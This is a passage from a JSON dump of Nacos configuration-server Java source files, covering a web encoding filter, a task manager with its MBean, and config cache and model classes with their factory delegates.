    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.filter;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\n\nimport jakarta.servlet.Filter;\nimport jakarta.servlet.FilterChain;\nimport jakarta.servlet.FilterConfig;\nimport jakarta.servlet.ServletContext;\nimport jakarta.servlet.ServletException;\nimport jakarta.servlet.ServletRequest;\nimport jakarta.servlet.ServletResponse;\nimport java.io.IOException;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\n\n/**\n * Web encode filter.\n *\n * @author Nacos\n */\npublic class NacosWebFilter implements Filter {\n    \n    private static String webRootPath;\n    \n    public static String rootPath() {\n        return webRootPath;\n    }\n    \n    /**\n     * Easy for testing.\n     *\n     * @param path web path.\n     */\n    public static void setWebRootPath(String path) {\n        webRootPath = path;\n    }\n    \n    @Override\n    public void init(FilterConfig filterConfig) throws ServletException {\n        ServletContext ctx = filterConfig.getServletContext();\n        setWebRootPath(ctx.getRealPath(\"/\"));\n    }\n    \n    @Override\n    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n            throws IOException, ServletException {\n        request.setCharacterEncoding(Constants.ENCODE);\n        response.setContentType(\"application/json;charset=\" + Constants.ENCODE);\n        \n        try {\n            chain.doFilter(request, response);\n        } catch (IOException | ServletException ioe) {\n            DEFAULT_LOG.debug(\"Filter catch exception, \" + ioe.toString(), ioe);\n            throw ioe;\n        }\n    }\n    \n    @Override\n    public void destroy() {\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/manager/TaskManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.manager;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\nimport com.alibaba.nacos.common.task.engine.NacosDelayTaskExecuteEngine;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport org.slf4j.Logger;\n\nimport javax.management.ObjectName;\nimport java.lang.management.ManagementFactory;\nimport java.util.Date;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.Condition;\n\n/**\n * TaskManager, is aim to process the task which is need to be done. And this class process the task by single thread to\n * ensure task should be process successfully.\n *\n * @author huali\n */\npublic final class TaskManager extends NacosDelayTaskExecuteEngine implements TaskManagerMBean {\n    \n    private static final Logger LOGGER = LogUtil.DEFAULT_LOG;\n    \n    private String name;\n    \n    Condition notEmpty = this.lock.newCondition();\n    \n    public TaskManager(String name) {\n        super(name, 32, LOGGER, 100L);\n        this.name = name;\n    }\n    \n    /**\n     * Close task manager.\n     */\n    public void close() {\n        try {\n            super.shutdown();\n        } catch (NacosException ignored) {\n        }\n    }\n    \n    /**\n     * Await for lock.\n     *\n     * @throws InterruptedException InterruptedException.\n     */\n    public void await() throws InterruptedException {\n        this.lock.lock();\n        try {\n            while (!this.isEmpty()) {\n                this.notEmpty.await();\n            }\n        } finally {\n            this.lock.unlock();\n        }\n    }\n    \n    /**\n     * Await for lock by timeout.\n     *\n     * @param timeout timeout value.\n     * @param unit    time unit.\n     * @return success or not.\n     * @throws InterruptedException InterruptedException.\n     */\n    public boolean await(long timeout, TimeUnit unit) throws InterruptedException {\n        this.lock.lock();\n        boolean isawait = false;\n        try {\n            while (!this.isEmpty()) {\n                isawait = this.notEmpty.await(timeout, unit);\n            }\n            return isawait;\n        } finally {\n            this.lock.unlock();\n        }\n    }\n    \n    @Override\n    public void addTask(Object key, AbstractDelayTask newTask) {\n        super.addTask(key, newTask);\n        MetricsMonitor.getDumpTaskMonitor().set(tasks.size());\n    }\n    \n    @Override\n    public AbstractDelayTask removeTask(Object key) {\n        AbstractDelayTask result = super.removeTask(key);\n        MetricsMonitor.getDumpTaskMonitor().set(tasks.size());\n        return result;\n    }\n    \n    @Override\n    protected void processTasks() {\n        super.processTasks();\n        MetricsMonitor.getDumpTaskMonitor().set(tasks.size());\n        if (tasks.isEmpty()) {\n            this.lock.lock();\n            try {\n                this.notEmpty.signalAll();\n            } finally {\n                this.lock.unlock();\n            }\n        }\n    }\n    \n    @Override\n    public String getTaskInfos() {\n        StringBuilder sb = new StringBuilder();\n        for (Object taskType : getAllProcessorKey()) {\n            sb.append(taskType).append(':');\n            AbstractDelayTask task = this.tasks.get(taskType);\n            if (task != null) {\n                sb.append(new Date(task.getLastProcessTime()));\n            } else {\n                sb.append(\"finished\");\n            }\n            sb.append(Constants.NACOS_LINE_SEPARATOR);\n        }\n        \n        return sb.toString();\n    }\n    \n    /**\n     * Init and register the mbean object.\n     */\n    public void init() {\n        try {\n            ObjectName oName = new ObjectName(this.name + \":type=\" + TaskManager.class.getSimpleName());\n            ManagementFactory.getPlatformMBeanServer().registerMBean(this, oName);\n        } catch (Exception e) {\n            LOGGER.error(\"registerMBean_fail\", e);\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/manager/TaskManagerMBean.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.manager;\n\n/**\n * TaskManagerMBean.\n *\n * @author Nacos\n */\npublic interface TaskManagerMBean {\n    \n    /**\n     * Get task info.\n     *\n     * @return info\n     */\n    String getTaskInfos();\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/AclInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Acl info.\n *\n * @author Nacos\n */\npublic class AclInfo implements Serializable {\n    \n    private static final long serialVersionUID = 1383026926036269457L;\n    \n    private Boolean isOpen;\n    \n    private List<String> ips;\n    \n    public List<String> getIps() {\n        return ips;\n    }\n    \n    public void setIps(List<String> ips) {\n        this.ips = ips;\n    }\n    \n    public Boolean getIsOpen() {\n        return isOpen;\n    }\n    \n    public void setIsOpen(Boolean isOpen) {\n        this.isOpen = isOpen;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/CacheItem.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.config.server.utils.SimpleReadWriteLock;\nimport com.alibaba.nacos.core.utils.StringPool;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * Cache item.\n *\n * @author Nacos\n */\npublic class CacheItem {\n\n    final String groupKey;\n\n    public String type;\n\n    ConfigCache configCache = ConfigCacheFactoryDelegate.getInstance().createConfigCache();\n\n    /**\n     * Use for gray.\n     */\n    private volatile Map<String, ConfigCacheGray> configCacheGray = null;\n\n    List<ConfigCacheGray> sortedConfigCacheGrayList = null;\n\n    private final SimpleReadWriteLock rwLock = new SimpleReadWriteLock();\n\n    public CacheItem(String groupKey, String encryptedDataKey) {\n        this.groupKey = StringPool.get(groupKey);\n        this.getConfigCache().setEncryptedDataKey(encryptedDataKey);\n    }\n\n    public CacheItem(String groupKey) {\n        this.groupKey = StringPool.get(groupKey);\n    }\n\n    public ConfigCache getConfigCache() {\n        return configCache;\n    }\n\n    public SimpleReadWriteLock getRwLock() {\n        return rwLock;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getGroupKey() {\n        return groupKey;\n    }\n\n    /**\n     * init config gray if empty.\n     */\n    public void initConfigGrayIfEmpty() {\n        if (this.configCacheGray == null) {\n            this.configCacheGray = new HashMap<>(4);\n        }\n    }\n\n    /**\n     * init config gray if empty.\n     *\n     * @param grayName gray name.\n     */\n    public void initConfigGrayIfEmpty(String grayName) {\n        initConfigGrayIfEmpty();\n        if (!this.configCacheGray.containsKey(grayName)) {\n            this.configCacheGray.put(grayName, ConfigCacheFactoryDelegate.getInstance().createConfigCacheGray(grayName));\n        }\n    }\n\n    public List<ConfigCacheGray> getSortConfigGrays() {\n        return sortedConfigCacheGrayList;\n    }\n\n    /**\n     * sort config gray.\n     */\n    public void sortConfigGray() {\n        if (configCacheGray == null || configCacheGray.isEmpty()) {\n            sortedConfigCacheGrayList = null;\n            return;\n        }\n\n        sortedConfigCacheGrayList = configCacheGray.values().stream().sorted((o1, o2) -> {\n            if (o1.getPriority() != o2.getPriority()) {\n                return Integer.compare(o1.getPriority(), o2.getPriority()) * -1;\n            } else {\n                return o1.getGrayName().compareTo(o2.getGrayName());\n            }\n\n        }).collect(Collectors.toList());\n    }\n\n    public Map<String, ConfigCacheGray> getConfigCacheGray() {\n        return configCacheGray;\n    }\n\n    public void clearConfigGrays() {\n        this.configCacheGray = null;\n        this.sortedConfigCacheGrayList = null;\n    }\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigAdvanceInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * Config advance info.\n *\n * @author Nacos\n */\npublic class ConfigAdvanceInfo implements Serializable {\n    \n    static final long serialVersionUID = 3148031484920416869L;\n    \n    private long createTime;\n    \n    private long modifyTime;\n    \n    private String createUser;\n    \n    private String createIp;\n    \n    private String desc;\n    \n    private String use;\n    \n    private String effect;\n    \n    private String type;\n    \n    private String schema;\n    \n    private String configTags;\n    \n    public long getCreateTime() {\n        return createTime;\n    }\n    \n    public void setCreateTime(long createTime) {\n        this.createTime = createTime;\n    }\n    \n    public long getModifyTime() {\n        return modifyTime;\n    }\n    \n    public void setModifyTime(long modifyTime) {\n        this.modifyTime = modifyTime;\n    }\n    \n    public String getCreateUser() {\n        return createUser;\n    }\n    \n    public void setCreateUser(String createUser) {\n        this.createUser = createUser;\n    }\n    \n    public String getCreateIp() {\n        return createIp;\n    }\n    \n    public void setCreateIp(String createIp) {\n        this.createIp = createIp;\n    }\n    \n    public String getDesc() {\n        return desc;\n    }\n    \n    public void setDesc(String desc) {\n        this.desc = desc;\n    }\n    \n    public String getUse() {\n        return use;\n    }\n    \n    public void setUse(String use) {\n        this.use = use;\n    }\n    \n    public String getEffect() {\n        return effect;\n    }\n    \n    public void setEffect(String effect) {\n        this.effect = effect;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getSchema() {\n        return schema;\n    }\n    \n    public void setSchema(String schema) {\n        this.schema = schema;\n    }\n    \n    public String getConfigTags() {\n        return configTags;\n    }\n    \n    public void setConfigTags(String configTags) {\n        this.configTags = configTags;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigAdvanceInfo that = (ConfigAdvanceInfo) o;\n        return createTime == that.createTime && modifyTime == that.modifyTime && Objects.equals(createUser,\n                that.createUser) && Objects.equals(createIp, that.createIp) && Objects.equals(desc, that.desc)\n                && Objects.equals(use, that.use) && Objects.equals(effect, that.effect) && Objects.equals(type,\n                that.type) && Objects.equals(schema, that.schema) && Objects.equals(configTags, that.configTags);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(createTime, modifyTime, createUser, createIp, desc, use, effect, type, schema,\n                configTags);\n    }\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigAllInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigAllInfo.\n *\n * @author Nacos\n */\npublic class ConfigAllInfo extends ConfigInfo {\n    \n    private static final long serialVersionUID = 296578467953931353L;\n    \n    private long createTime;\n    \n    private long modifyTime;\n    \n    private String createUser;\n    \n    private String createIp;\n    \n    private String use;\n    \n    private String effect;\n    \n    private String schema;\n    \n    public ConfigAllInfo() {\n    }\n    \n    public long getCreateTime() {\n        return createTime;\n    }\n    \n    public void setCreateTime(long createTime) {\n        this.createTime = createTime;\n    }\n    \n    public long getModifyTime() {\n        return modifyTime;\n    }\n    \n    public void setModifyTime(long modifyTime) {\n        this.modifyTime = modifyTime;\n    }\n    \n    public String getCreateUser() {\n        return createUser;\n    }\n    \n    public void setCreateUser(String createUser) {\n        this.createUser = createUser;\n    }\n    \n    public String getCreateIp() {\n        return createIp;\n    }\n    \n    public void setCreateIp(String createIp) {\n        this.createIp = createIp;\n    }\n    \n    public String getUse() {\n        return use;\n    }\n    \n    public void setUse(String use) {\n        this.use = use;\n    }\n    \n    public String getEffect() {\n        return effect;\n    }\n    \n    public void setEffect(String effect) {\n        this.effect = effect;\n    }\n\n    public String getSchema() {\n        return schema;\n    }\n    \n    public void setSchema(String schema) {\n        this.schema = schema;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCache.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.core.utils.StringPool;\n\nimport java.io.Serializable;\n\n/**\n * config cache .\n *\n * @author shiyiyue1102\n */\npublic class ConfigCache implements Serializable {\n    \n    volatile String md5 = Constants.NULL;\n    \n    volatile String encryptedDataKey;\n    \n    volatile long lastModifiedTs;\n    \n    /**\n     * clear cache.\n     */\n    public void clear() {\n        this.md5 = Constants.NULL;\n        this.encryptedDataKey = null;\n        this.lastModifiedTs = -1L;\n    }\n    \n    public ConfigCache() {\n    }\n    \n    public ConfigCache(String md5, long lastModifiedTs) {\n        this.md5 = StringPool.get(md5);\n        this.lastModifiedTs = lastModifiedTs;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = StringPool.get(md5);\n    }\n    \n    public long getLastModifiedTs() {\n        return lastModifiedTs;\n    }\n    \n    public void setLastModifiedTs(long lastModifiedTs) {\n        this.lastModifiedTs = lastModifiedTs;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCacheFactory.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * The interface Config cache factory.\n *\n * @author Sunrisea\n */\npublic interface ConfigCacheFactory {\n    \n    /**\n     * Create config cache config cache.\n     *\n     * @return the config cache\n     */\n    public ConfigCache createConfigCache();\n    \n    /**\n     * Create config cache gray config cache gray.\n     *\n     * @return the config cache gray\n     */\n    public ConfigCacheGray createConfigCacheGray();\n    \n    /**\n     * Gets config cache factroy name.\n     *\n     * @return the config cache factory name\n     */\n    public String getName();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCacheFactoryDelegate.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\n\n/**\n * The type Config cache factory delegate.\n *\n * @author Sunrisea\n */\npublic class ConfigCacheFactoryDelegate {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigCacheFactoryDelegate.class);\n    \n    private static final ConfigCacheFactoryDelegate INSTANCE = new ConfigCacheFactoryDelegate();\n    \n    private String configCacheFactoryType = EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\");\n    \n    private ConfigCacheFactory configCacheFactory = null;\n    \n    private ConfigCacheFactoryDelegate() {\n        Collection<ConfigCacheFactory> configCacheFactories = NacosServiceLoader.load(ConfigCacheFactory.class);\n        for (ConfigCacheFactory each : configCacheFactories) {\n            if (StringUtils.isEmpty(each.getName())) {\n                LOGGER.warn(\n                        \"[ConfigCacheFactoryDelegate] Load ConfigCacheFactory({}) ConfigFactroyName (null/empty) fail. \"\n                                + \"Please add ConfigFactoryName to resolve\", each.getClass().getName());\n                continue;\n            }\n            LOGGER.info(\n                    \"[ConfigCacheFactoryDelegate] Load ConfigCacheFactory({}) ConfigCacheFactoryName({}) successfully. \",\n                    each.getClass().getName(), each.getName());\n            if (StringUtils.equals(configCacheFactoryType, each.getName())) {\n                LOGGER.info(\"[ConfigCacheFactoryDelegate] Matched ConfigCacheFactory found,set configCacheFactory={}\",\n                        each.getClass().getName());\n                this.configCacheFactory = each;\n            }\n        }\n        if (this.configCacheFactory == null) {\n            LOGGER.info(\n                    \"[ConfigCacheFactoryDelegate] Matched ConfigCacheFactory not found, Load Default NacosConfigCacheFactory successfully.\");\n            this.configCacheFactory = new NacosConfigCacheFactory();\n        }\n    }\n    \n    /**\n     * Gets instance.\n     *\n     * @return the instance\n     */\n    public static ConfigCacheFactoryDelegate getInstance() {\n        return INSTANCE;\n    }\n    \n    /**\n     * Create config cache config cache.\n     *\n     * @return the config cache\n     */\n    public ConfigCache createConfigCache() {\n        return configCacheFactory.createConfigCache();\n    }\n    \n    /**\n     * Create config cache config cache.\n     *\n     * @param md5            the md 5\n     * @param lastModifiedTs the last modified ts\n     * @return the config cache\n     */\n    public ConfigCache createConfigCache(String md5, long lastModifiedTs) {\n        ConfigCache configCache = this.createConfigCache();\n        configCache.setMd5(md5);\n        configCache.setLastModifiedTs(lastModifiedTs);\n        return configCache;\n    }\n    \n    /**\n     * Create config cache gray config cache gray.\n     *\n     * @return the config cache gray\n     */\n    public ConfigCacheGray createConfigCacheGray() {\n        return configCacheFactory.createConfigCacheGray();\n    }\n    \n    /**\n     * Create config cache gray config cache gray.\n     *\n     * @param grayName the gray name\n     * @return the config cache gray\n     */\n    public ConfigCacheGray createConfigCacheGray(String grayName) {\n        ConfigCacheGray configCacheGray = configCacheFactory.createConfigCacheGray();\n        configCacheGray.setGrayName(grayName);\n        return configCacheGray;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCacheGray.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.config.server.model.gray.GrayRule;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * extensible config cache.\n *\n * @author rong\n */\npublic class ConfigCacheGray extends ConfigCache implements Serializable {\n    \n    private String grayName;\n    \n    private GrayRule grayRule;\n    \n    /**\n     * clear cache.\n     */\n    @Override\n    public void clear() {\n        super.clear();\n    }\n    \n    public ConfigCacheGray() {}\n    \n    public ConfigCacheGray(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public GrayRule getGrayRule() {\n        return grayRule;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    /**\n     * get raw gray rule from db.\n     *\n     * @return raw gray rule from db.\n     * @date 2024/3/14\n     */\n    public String getRawGrayRule() {\n        return grayRule.getRawGrayRuleExp();\n    }\n    \n    /**\n     * reset gray rule.\n     *\n     * @param grayRule raw gray rule from db.\n     * @throws RuntimeException if gray rule is invalid.\n     * @date 2024/3/14\n     */\n    public void resetGrayRule(String grayRule) throws RuntimeException {\n        this.grayRule = GrayRuleManager.constructGrayRule(GrayRuleManager.deserializeConfigGrayPersistInfo(grayRule));\n        if (this.grayRule == null || !this.grayRule.isValid()) {\n            throw new RuntimeException(\"raw gray rule is invalid\");\n        }\n    }\n    \n    /**\n     * judge whether match gray rule.\n     *\n     * @param tags conn tags.\n     * @return true if match, false otherwise.\n     * @date 2024/3/14\n     */\n    public boolean match(Map<String, String> tags) {\n        return grayRule.match(tags);\n    }\n    \n    public int getPriority() {\n        return grayRule.getPriority();\n    }\n    \n    /**\n     * if gray rule is valid.\n     *\n     * @return true if valid, false otherwise.\n     * @date 2024/3/14\n     */\n    public boolean isValid() {\n        return grayRule != null && grayRule.isValid();\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCachePostProcessor.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * The interface Config cache md5 post processor.\n *\n * @author Sunrisea\n */\npublic interface ConfigCachePostProcessor {\n    \n    /**\n     * Gets post processor name.\n     *\n     * @return the post processor name\n     */\n    public String getName();\n    \n    /**\n     * Post process.\n     *\n     * @param configCache the config cache\n     * @param content     the content\n     */\n    public void postProcess(ConfigCache configCache, String content);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigCachePostProcessorDelegate.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\n\n/**\n * The type Config cache md5 post processor delegate.\n *\n * @author Sunrisea\n */\npublic class ConfigCachePostProcessorDelegate {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigCacheFactoryDelegate.class);\n    \n    private static ConfigCachePostProcessorDelegate instance = new ConfigCachePostProcessorDelegate();\n    \n    private String configCacheMd5PostProcessorType = EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\");\n    \n    private ConfigCachePostProcessor configCachePostProcessor;\n    \n    private ConfigCachePostProcessorDelegate() {\n        Collection<ConfigCachePostProcessor> processors = NacosServiceLoader.load(ConfigCachePostProcessor.class);\n        for (ConfigCachePostProcessor processor : processors) {\n            if (StringUtils.isEmpty(processor.getName())) {\n                LOGGER.warn(\n                        \"[ConfigCachePostProcessorDelegate] Load ConfigCachePostProcessor({}) PostProcessorName(null/empty) fail. \"\n                                + \"Please add PostProcessorName to resolve\", processor.getClass().getName());\n                continue;\n            }\n            LOGGER.info(\n                    \"[ConfigCachePostProcessorDelegate] Load ConfigCachePostProcessor({}) PostProcessorName({}) successfully. \",\n                    processor.getClass().getName(), processor.getName());\n            if (StringUtils.equals(configCacheMd5PostProcessorType, processor.getName())) {\n                LOGGER.info(\n                        \"[ConfigCachePostProcessorDelegate] Matched ConfigCachePostProcessor found,set configCacheFactory={}\",\n                        processor.getClass().getName());\n                this.configCachePostProcessor = processor;\n            }\n        }\n        if (configCachePostProcessor == null) {\n            LOGGER.info(\n                    \"[ConfigCachePostProcessorDelegate] Matched ConfigCachePostProcessor not found, \"\n                            + \"load Default NacosConfigCachePostProcessor successfully\");\n            configCachePostProcessor = new NacosConfigCachePostProcessor();\n        }\n    }\n    \n    public static ConfigCachePostProcessorDelegate getInstance() {\n        return instance;\n    }\n    \n    public void postProcess(ConfigCache configCache, String content) {\n        configCachePostProcessor.postProcess(configCache, content);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigHistoryInfo.java",
